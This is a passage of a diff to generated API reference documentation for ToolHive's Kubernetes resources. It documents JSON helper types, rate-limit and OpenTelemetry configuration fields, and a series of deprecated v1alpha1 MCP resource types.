| #### vmcp.config.SessionStorageConfig @@ -725,7 +754,7 @@ _Appears in:_ #### vmcp.config.ToolAnnotationsOverride -_Underlying type:_ _[vmcp.config.struct{Title *string "json:\"title,omitempty\" yaml:\"title,omitempty\""; ReadOnlyHint *bool "json:\"readOnlyHint,omitempty\" yaml:\"readOnlyHint,omitempty\""; DestructiveHint *bool "json:\"destructiveHint,omitempty\" yaml:\"destructiveHint,omitempty\""; IdempotentHint *bool "json:\"idempotentHint,omitempty\" yaml:\"idempotentHint,omitempty\""; OpenWorldHint *bool "json:\"openWorldHint,omitempty\" yaml:\"openWorldHint,omitempty\""}](#vmcpconfigstruct{title *string "json:\"title,omitempty\" yaml:\"title,omitempty\""; readonlyhint *bool "json:\"readonlyhint,omitempty\" yaml:\"readonlyhint,omitempty\""; destructivehint *bool "json:\"destructivehint,omitempty\" yaml:\"destructivehint,omitempty\""; idempotenthint *bool "json:\"idempotenthint,omitempty\" yaml:\"idempotenthint,omitempty\""; openworldhint *bool "json:\"openworldhint,omitempty\" yaml:\"openworldhint,omitempty\""})_ +_Underlying type:_ _struct{Title *string "json:\"title,omitempty\" yaml:\"title,omitempty\""; ReadOnlyHint *bool "json:\"readOnlyHint,omitempty\" yaml:\"readOnlyHint,omitempty\""; DestructiveHint *bool "json:\"destructiveHint,omitempty\" yaml:\"destructiveHint,omitempty\""; IdempotentHint *bool "json:\"idempotentHint,omitempty\" yaml:\"idempotentHint,omitempty\""; OpenWorldHint *bool "json:\"openWorldHint,omitempty\" yaml:\"openWorldHint,omitempty\""}_ ToolAnnotationsOverride defines overrides for tool annotation fields. All fields use pointers so nil means "don't override" while zero values @@ -803,7 +832,7 @@ _Appears in:_ | `timeout` _[vmcp.config.Duration](#vmcpconfigduration)_ | Timeout is the maximum execution time for this step | | Pattern: `^([0-9]+(\.[0-9]+)?(ns\|us\|µs\|ms\|s\|m\|h))+$`
Type: string
Optional: \{\}
| | `onDecline` _[vmcp.config.ElicitationResponseConfig](#vmcpconfigelicitationresponseconfig)_ | OnDecline defines the action to take when the user explicitly declines the elicitation
Only used when Type is "elicitation" | | Optional: \{\}
| | `onCancel` _[vmcp.config.ElicitationResponseConfig](#vmcpconfigelicitationresponseconfig)_ | OnCancel defines the action to take when the user cancels/dismisses the elicitation
Only used when Type is "elicitation" | | Optional: \{\}
| -| `defaultResults` _[pkg.json.Map](#pkgjsonmap)_ | DefaultResults provides fallback output values when this step is skipped
(due to condition evaluating to false) or fails (when onError.action is "continue").
Each key corresponds to an output field name referenced by downstream steps.
Required if the step may be skipped AND downstream steps reference this step's output. | | Schemaless: \{\}
Optional: \{\}
| +| `defaultResults` _[pkg.json.Map](#pkgjsonmap)_ | DefaultResults provides fallback output values when this step is skipped
(due to condition evaluating to false) or fails (when onError.action is "continue").
Each key corresponds to an output field name referenced by downstream steps.
Required if the step may be skipped AND downstream steps reference this step's output. | | Schemaless: \{\}
Type: object
Optional: \{\}
| | `collection` _string_ | Collection is a Go template expression that resolves to a JSON array or a slice.
Only used when Type is "forEach". | | Optional: \{\}
| | `itemVar` _string_ | ItemVar is the variable name used to reference the current item in forEach templates.
Defaults to "item" if not specified.
Only used when Type is "forEach". | | Optional: \{\}
| | `maxParallel` _integer_ | MaxParallel limits the number of concurrent iterations in a forEach step.
Defaults to the DAG executor's maxParallel (10).
Only used when Type is "forEach". | | Optional: \{\}
| @@ -834,6 +863,40 @@ _Appears in:_ +## toolhive.stacklok.dev/json + + +#### pkg.json.Any + + + +Any is a type alias for Data[any], storing arbitrary JSON values. +This is the most flexible type, suitable when the JSON structure is unknown. + +_Validation:_ +- Type: object + + + + + + + +#### pkg.json.Map + + + +Map is a type alias for Data[map[string]any], storing JSON objects. +Use this when you know the data will always be a JSON object (not array, string, etc.). + +_Validation:_ +- Type: object + + + + + + ## toolhive.stacklok.dev/ratelimit @@ -885,146 +948,667 @@ At least one of shared or perUser must be configured. -_Appears in:_ -- [ratelimit.types.RateLimitConfig](#ratelimittypesratelimitconfig) +_Appears in:_ +- [ratelimit.types.RateLimitConfig](#ratelimittypesratelimitconfig) + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `name` _string_ | Name is the MCP tool name this limit applies to. | | MinLength: 1
Required: \{\}
| +| `shared` _[ratelimit.types.RateLimitBucket](#ratelimittypesratelimitbucket)_ | Shared token bucket for this specific tool. | | Optional: \{\}
| +| `perUser` _[ratelimit.types.RateLimitBucket](#ratelimittypesratelimitbucket)_ | PerUser token bucket configuration for this tool. | | Optional: \{\}
| + + + +## toolhive.stacklok.dev/telemetry + + +#### pkg.telemetry.Config + + + +Config holds the configuration for OpenTelemetry instrumentation. + + + +_Appears in:_ +- [vmcp.config.Config](#vmcpconfigconfig) + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `endpoint` _string_ | Endpoint is the OTLP endpoint URL | | Optional: \{\}
| +| `serviceName` _string_ | ServiceName is the service name for telemetry.
When omitted, defaults to the server name (e.g., VirtualMCPServer name). | | Optional: \{\}
| +| `serviceVersion` _string_ | ServiceVersion is the service version for telemetry.
When omitted, defaults to the ToolHive version. | | Optional: \{\}
| +| `tracingEnabled` _boolean_ | TracingEnabled controls whether distributed tracing is enabled.
When false, no tracer provider is created even if an endpoint is configured. | false | Optional: \{\}
| +| `metricsEnabled` _boolean_ | MetricsEnabled controls whether OTLP metrics are enabled.
When false, OTLP metrics are not sent even if an endpoint is configured.
This is independent of EnablePrometheusMetricsPath. | false | Optional: \{\}
| +| `samplingRate` _string_ | SamplingRate is the trace sampling rate (0.0-1.0) as a string.
Only used when TracingEnabled is true.
Example: "0.05" for 5% sampling. | 0.05 | Optional: \{\}
| +| `headers` _object (keys:string, values:string)_ | Headers contains authentication headers for the OTLP endpoint. | | Optional: \{\}
| +| `insecure` _boolean_ | Insecure indicates whether to use HTTP instead of HTTPS for the OTLP endpoint. | false | Optional: \{\}
| +| `enablePrometheusMetricsPath` _boolean_ | EnablePrometheusMetricsPath controls whether to expose Prometheus-style /metrics endpoint.
The metrics are served on the main transport port at /metrics.
This is separate from OTLP metrics which are sent to the Endpoint. | false | Optional: \{\}
| +| `environmentVariables` _string array_ | EnvironmentVariables is a list of environment variable names that should be
included in telemetry spans as attributes. Only variables in this list will
be read from the host machine and included in spans for observability.
Example: ["NODE_ENV", "DEPLOYMENT_ENV", "SERVICE_VERSION"] | | Optional: \{\}
| +| `customAttributes` _object (keys:string, values:string)_ | CustomAttributes contains custom resource attributes to be added to all telemetry signals.
These are parsed from CLI flags (--otel-custom-attributes) or environment variables
(OTEL_RESOURCE_ATTRIBUTES) as key=value pairs. | | Optional: \{\}
| +| `useLegacyAttributes` _boolean_ | UseLegacyAttributes controls whether legacy (pre-MCP OTEL semconv) attribute names
are emitted alongside the new standard attribute names. When true, spans include both
old and new attribute names for backward compatibility with existing dashboards.
Currently defaults to true; this will change to false in a future release. | true | Optional: \{\}
| +| `caCertPath` _string_ | CACertPath is the file path to a CA certificate bundle for the OTLP endpoint.
When set, the OTLP exporters use this CA to verify the collector's TLS certificate
instead of relying solely on the system CA pool. | | Optional: \{\}
| + + + + + + + + + + + + + +## toolhive.stacklok.dev/v1alpha1 +### Resource Types +- [api.v1alpha1.EmbeddingServer](#apiv1alpha1embeddingserver) +- [api.v1alpha1.EmbeddingServerList](#apiv1alpha1embeddingserverlist) +- [api.v1alpha1.MCPAuthzConfig](#apiv1alpha1mcpauthzconfig) +- [api.v1alpha1.MCPAuthzConfigList](#apiv1alpha1mcpauthzconfiglist) +- [api.v1alpha1.MCPExternalAuthConfig](#apiv1alpha1mcpexternalauthconfig) +- [api.v1alpha1.MCPExternalAuthConfigList](#apiv1alpha1mcpexternalauthconfiglist) +- [api.v1alpha1.MCPGroup](#apiv1alpha1mcpgroup) +- [api.v1alpha1.MCPGroupList](#apiv1alpha1mcpgrouplist) +- [api.v1alpha1.MCPOIDCConfig](#apiv1alpha1mcpoidcconfig) +- [api.v1alpha1.MCPOIDCConfigList](#apiv1alpha1mcpoidcconfiglist) +- [api.v1alpha1.MCPRegistry](#apiv1alpha1mcpregistry) +- [api.v1alpha1.MCPRegistryList](#apiv1alpha1mcpregistrylist) +- [api.v1alpha1.MCPRemoteProxy](#apiv1alpha1mcpremoteproxy) +- [api.v1alpha1.MCPRemoteProxyList](#apiv1alpha1mcpremoteproxylist) +- [api.v1alpha1.MCPServer](#apiv1alpha1mcpserver) +- [api.v1alpha1.MCPServerEntry](#apiv1alpha1mcpserverentry) +- [api.v1alpha1.MCPServerEntryList](#apiv1alpha1mcpserverentrylist) +- [api.v1alpha1.MCPServerList](#apiv1alpha1mcpserverlist) +- [api.v1alpha1.MCPTelemetryConfig](#apiv1alpha1mcptelemetryconfig) +- [api.v1alpha1.MCPTelemetryConfigList](#apiv1alpha1mcptelemetryconfiglist) +- [api.v1alpha1.MCPToolConfig](#apiv1alpha1mcptoolconfig) +- [api.v1alpha1.MCPToolConfigList](#apiv1alpha1mcptoolconfiglist) +- [api.v1alpha1.MCPWebhookConfig](#apiv1alpha1mcpwebhookconfig) +- [api.v1alpha1.MCPWebhookConfigList](#apiv1alpha1mcpwebhookconfiglist) +- [api.v1alpha1.VirtualMCPCompositeToolDefinition](#apiv1alpha1virtualmcpcompositetooldefinition) +- [api.v1alpha1.VirtualMCPCompositeToolDefinitionList](#apiv1alpha1virtualmcpcompositetooldefinitionlist) +- [api.v1alpha1.VirtualMCPServer](#apiv1alpha1virtualmcpserver) +- [api.v1alpha1.VirtualMCPServerList](#apiv1alpha1virtualmcpserverlist) + + + +#### api.v1alpha1.EmbeddingServer + + + +EmbeddingServer is the deprecated v1alpha1 version of the EmbeddingServer resource. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `EmbeddingServer` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ObjectMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `spec` _[api.v1beta1.EmbeddingServerSpec](#apiv1beta1embeddingserverspec)_ | | | | +| `status` _[api.v1beta1.EmbeddingServerStatus](#apiv1beta1embeddingserverstatus)_ | | | | + + +#### api.v1alpha1.EmbeddingServerList + + + +EmbeddingServerList contains a list of EmbeddingServer. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `EmbeddingServerList` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ListMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#listmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `items` _[api.v1alpha1.EmbeddingServer](#apiv1alpha1embeddingserver) array_ | | | | + + +#### api.v1alpha1.MCPAuthzConfig + + + +MCPAuthzConfig is the deprecated v1alpha1 version of the MCPAuthzConfig resource. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPAuthzConfig` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ObjectMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `spec` _[api.v1beta1.MCPAuthzConfigSpec](#apiv1beta1mcpauthzconfigspec)_ | | | | +| `status` _[api.v1beta1.MCPAuthzConfigStatus](#apiv1beta1mcpauthzconfigstatus)_ | | | | + + +#### api.v1alpha1.MCPAuthzConfigList + + + +MCPAuthzConfigList contains a list of MCPAuthzConfig. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPAuthzConfigList` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ListMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#listmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `items` _[api.v1alpha1.MCPAuthzConfig](#apiv1alpha1mcpauthzconfig) array_ | | | | + + +#### api.v1alpha1.MCPExternalAuthConfig + + + +MCPExternalAuthConfig is the deprecated v1alpha1 version of the MCPExternalAuthConfig resource. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPExternalAuthConfig` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ObjectMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `spec` _[api.v1beta1.MCPExternalAuthConfigSpec](#apiv1beta1mcpexternalauthconfigspec)_ | | | | +| `status` _[api.v1beta1.MCPExternalAuthConfigStatus](#apiv1beta1mcpexternalauthconfigstatus)_ | | | | + + +#### api.v1alpha1.MCPExternalAuthConfigList + + + +MCPExternalAuthConfigList contains a list of MCPExternalAuthConfig. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPExternalAuthConfigList` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ListMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#listmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `items` _[api.v1alpha1.MCPExternalAuthConfig](#apiv1alpha1mcpexternalauthconfig) array_ | | | | + + +#### api.v1alpha1.MCPGroup + + + +MCPGroup is the deprecated v1alpha1 version of the MCPGroup resource. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPGroup` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ObjectMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `spec` _[api.v1beta1.MCPGroupSpec](#apiv1beta1mcpgroupspec)_ | | | | +| `status` _[api.v1beta1.MCPGroupStatus](#apiv1beta1mcpgroupstatus)_ | | | | + + +#### api.v1alpha1.MCPGroupList + + + +MCPGroupList contains a list of MCPGroup. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPGroupList` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ListMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#listmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `items` _[api.v1alpha1.MCPGroup](#apiv1alpha1mcpgroup) array_ | | | | + + +#### api.v1alpha1.MCPOIDCConfig + + + +MCPOIDCConfig is the deprecated v1alpha1 version of the MCPOIDCConfig resource. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPOIDCConfig` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ObjectMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `spec` _[api.v1beta1.MCPOIDCConfigSpec](#apiv1beta1mcpoidcconfigspec)_ | | | | +| `status` _[api.v1beta1.MCPOIDCConfigStatus](#apiv1beta1mcpoidcconfigstatus)_ | | | | + + +#### api.v1alpha1.MCPOIDCConfigList + + + +MCPOIDCConfigList contains a list of MCPOIDCConfig. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPOIDCConfigList` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ListMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#listmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `items` _[api.v1alpha1.MCPOIDCConfig](#apiv1alpha1mcpoidcconfig) array_ | | | | + + +#### api.v1alpha1.MCPRegistry + + + +MCPRegistry is the deprecated v1alpha1 version of the MCPRegistry resource. +The MCPRegistry CRD as a whole is deprecated and will be removed in a future +release; install the ToolHive registry server via the toolhive-registry-server +Helm chart instead: https://github.com/stacklok/toolhive-registry-server + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPRegistry` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ObjectMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `spec` _[api.v1beta1.MCPRegistrySpec](#apiv1beta1mcpregistryspec)_ | | | | +| `status` _[api.v1beta1.MCPRegistryStatus](#apiv1beta1mcpregistrystatus)_ | | | | + + +#### api.v1alpha1.MCPRegistryList + + + +MCPRegistryList contains a list of MCPRegistry. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPRegistryList` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ListMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#listmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `items` _[api.v1alpha1.MCPRegistry](#apiv1alpha1mcpregistry) array_ | | | | + + +#### api.v1alpha1.MCPRemoteProxy + + + +MCPRemoteProxy is the deprecated v1alpha1 version of the MCPRemoteProxy resource. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPRemoteProxy` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ObjectMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `spec` _[api.v1beta1.MCPRemoteProxySpec](#apiv1beta1mcpremoteproxyspec)_ | | | | +| `status` _[api.v1beta1.MCPRemoteProxyStatus](#apiv1beta1mcpremoteproxystatus)_ | | | | + + +#### api.v1alpha1.MCPRemoteProxyList + + + +MCPRemoteProxyList contains a list of MCPRemoteProxy. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPRemoteProxyList` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ListMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#listmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `items` _[api.v1alpha1.MCPRemoteProxy](#apiv1alpha1mcpremoteproxy) array_ | | | | + + +#### api.v1alpha1.MCPServer + + + +MCPServer is the deprecated v1alpha1 version of the MCPServer resource. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPServer` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ObjectMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `spec` _[api.v1beta1.MCPServerSpec](#apiv1beta1mcpserverspec)_ | | | | +| `status` _[api.v1beta1.MCPServerStatus](#apiv1beta1mcpserverstatus)_ | | | | + + +#### api.v1alpha1.MCPServerEntry + + + +MCPServerEntry is the deprecated v1alpha1 version of the MCPServerEntry resource. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPServerEntry` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ObjectMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `spec` _[api.v1beta1.MCPServerEntrySpec](#apiv1beta1mcpserverentryspec)_ | | | | +| `status` _[api.v1beta1.MCPServerEntryStatus](#apiv1beta1mcpserverentrystatus)_ | | | | + + +#### api.v1alpha1.MCPServerEntryList + + + +MCPServerEntryList contains a list of MCPServerEntry. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPServerEntryList` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ListMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#listmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `items` _[api.v1alpha1.MCPServerEntry](#apiv1alpha1mcpserverentry) array_ | | | | + + +#### api.v1alpha1.MCPServerList + + + +MCPServerList contains a list of MCPServer. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPServerList` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
